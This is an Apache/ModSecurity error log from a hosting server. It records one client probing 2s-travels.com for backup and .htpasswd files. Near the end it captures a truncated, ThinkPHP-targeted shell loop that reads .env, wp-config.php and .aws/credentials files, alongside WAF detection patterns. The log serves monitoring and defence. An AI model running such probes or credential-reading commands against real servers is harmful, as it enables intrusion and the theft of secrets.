[Fri Jul 17 08:55:22.970149 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.970315 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgooZvbo7N5o5zeYC-hgAAABw"]
[Fri Jul 17 08:55:22.973211 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/admin.php.swp"] [unique_id "almgol1_86A5R6msWNfUeQAAABI"]
[Fri Jul 17 08:55:22.973770 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/admin.php.swp"] [unique_id "almgol1_86A5R6msWNfUeQAAABI"]
[Fri Jul 17 08:55:22.973925 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.974072 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgol1_86A5R6msWNfUeQAAABI"]
[Fri Jul 17 08:55:22.975906 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.979213 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.983304 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/admin.php.backup"] [unique_id "almgonRlmrtCoY_COpcmCQAAAAg"]
[Fri Jul 17 08:55:22.983821 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/admin.php.backup"] [unique_id "almgonRlmrtCoY_COpcmCQAAAAg"]
[Fri Jul 17 08:55:22.983957 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.984124 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.984158 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgonRlmrtCoY_COpcmCQAAAAg"]
[Fri Jul 17 08:55:22.985864 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.987781 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.988584 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:23.215903 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmBAi3pC6yjXGNq2AdgAAAAU"]
[Fri Jul 17 08:55:23.570819 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.backup"] [unique_id "almgo11_86A5R6msWNfUegAAABI"]
[Fri Jul 17 08:55:23.571092 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.backup"] [unique_id "almgo11_86A5R6msWNfUegAAABI"]
[Fri Jul 17 08:55:23.571444 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.backup"] [unique_id "almgo11_86A5R6msWNfUegAAABI"]
[Fri Jul 17 08:55:23.574058 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd-backup"] [unique_id "almgoxJ0z2bEtnOrIXVATQAAAAk"]
[Fri Jul 17 08:55:23.574358 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd-backup"] [unique_id "almgoxJ0z2bEtnOrIXVATQAAAAk"]
[Fri Jul 17 08:55:23.574474 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:23.574629 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoxJ0z2bEtnOrIXVATQAAAAk"]
[Fri Jul 17 08:55:23.580777 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.copy"] [unique_id "almgo-1pLmPpy2r_2CxfbAAAAA8"]
[Fri Jul 17 08:55:23.581139 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.copy"] [unique_id "almgo-1pLmPpy2r_2CxfbAAAAA8"]
[Fri Jul 17 08:55:23.581288 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:23.581441 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgo-1pLmPpy2r_2CxfbAAAAA8"]
[Fri Jul 17 08:55:23.590276 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.bkp"] [unique_id "almgo0gVnBK6wAv37w6sTwAAABQ"]
[Fri Jul 17 08:55:23.590556 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.bkp"] [unique_id "almgo0gVnBK6wAv37w6sTwAAABQ"]
[Fri Jul 17 08:55:23.590691 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:23.590819 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgo0gVnBK6wAv37w6sTwAAABQ"]
[Fri Jul 17 08:55:23.627671 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.1"] [unique_id "almgo3RlmrtCoY_COpcmCgAAAAg"]
[Fri Jul 17 08:55:23.627991 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.1"] [unique_id "almgo3RlmrtCoY_COpcmCgAAAAg"]
[Fri Jul 17 08:55:23.628153 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:23.628309 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgo3RlmrtCoY_COpcmCgAAAAg"]
[Fri Jul 17 08:55:25.303422 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL" [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.304005 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.304633 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo ahmadscan_thinkphp_ff746253 for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.305290 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:server[REQUEST_METHOD]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials /var/www/html/.env /var/www/html/.env.local /var/www/html/.env.production /var/www/html/.env.backup /var/www/html/.env.s..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] 